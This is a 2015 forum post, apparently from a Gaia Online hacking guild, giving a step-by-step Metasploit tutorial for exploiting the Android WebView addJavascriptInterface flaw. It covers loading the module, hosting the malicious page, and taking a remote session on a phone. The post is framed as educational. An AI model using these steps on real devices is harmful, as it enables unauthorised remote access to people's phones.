Welcome to Gaia! ::

UnixBashers

Back to Guilds

Linux Enthusiast's, Kali Linux, Hacking, Gaming, Graphics, Sharing Knowledge, No Judgment 

Tags: Linux, Gaming, Programming, Developing, Hacking 

Reply UnixBashers
Kali Linux : Android Web Exploit with Metasploit Educational

Quick Reply

Enter both words below, separated by a space:

Can't read the text? Click here

Submit

JackNDBox

PostPosted: Tue May 26, 2015 10:45 pm


Around 70% of all Android devices in the field are subject to a Javascript exploit that could allow an attacker remote access to your phone by doing nothing more than surfing to a malicious page or scanning in a malicious QR Code.

Called the “Android WebView addJavascriptInterface Vulnerability”, it works when untrusted Javascript code is executed by a WebView on Android devices.

And here is the kicker, about 70% of Android devices (phones and tablets) are vulnerable to it!

This month Rapid7 added the exploit as a Metasploit Module, so let’s take a look at it using Kali Linux and Metasploit:

1. Run Metasploit from the Kali Menu, or type “msfconsole” at a terminal prompt.

2. Type, “use exploit /android/browser/webview_addjavascriptinterface”.

3. Then type, “show options” to see what needs to be set:


User Image - Blocked by "Display Image" Settings. Click to show.
For the most part, you are good to go. You can turn on SSL if you want, change the port or host address if you want. But one variable I did change was URIPATH. By default it is random, so I changed it to something easier to type in.

“Security” sounded reassuring.

4. Enter, “set URIPATH Security”:


User Image - Blocked by "Display Image" Settings. Click to show.

5. Type "exploit".

User Image - Blocked by "Display Image" Settings. Click to show.
A server is started on the Kali system that hosts a webpage containing the exploit. A URL is provided including the URI path.

Now if a vulnerable Android device surfs to our Metasploit module, sitting at 192.168.1.16:8080/Security in this demo, you get a remote session:


User Image - Blocked by "Display Image" Settings. Click to show.

Now just connect to the session using “sessions -i 1″:

User Image - Blocked by "Display Image" Settings. Click to show.

And that is it! You are connected to the Android device.

But on one Android Tablet that I tested, something didn’t seem right. It allowed me to run some Linux commands but not others. I could use “pwd” to see the current directory that I was in, and I could surf to other directories with “cd”, but the “ls” and other commands would not work:
 
Reply
UnixBashers

 
Manage Your Items
Other Stuff
Get GCash
Offers
Get Items
More Items
Where Everyone Hangs Out
Other Community Areas
Virtual Spaces
Fun Stuff
Gaia's Games
Mini-Games
Play with GCash
Play with Platinum